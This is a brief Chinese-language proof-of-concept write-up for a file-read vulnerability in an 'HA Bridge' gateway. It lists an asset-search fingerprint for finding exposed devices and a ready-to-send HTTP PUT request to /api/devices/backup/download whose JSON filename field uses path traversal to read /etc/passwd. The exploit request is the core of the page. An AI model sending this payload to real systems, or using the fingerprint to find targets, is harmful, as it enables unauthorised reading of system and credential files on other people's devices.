登录 白背景
源码

hi-bridge网关download存在文件读取漏洞

一、漏洞简介

hi-bridge网关download存在文件读取漏洞

二、影响版本

  • hi-bridge网关

三、资产测绘

title="HA Bridge"

image.png

四、漏洞复现

PUT /api/devices/backup/download HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 


{"filename":"../../../../etc/passwd"}

image.png

原文: https://www.yuque.com/xiaokp7/ocvun2/aat3gchwm23g4rhd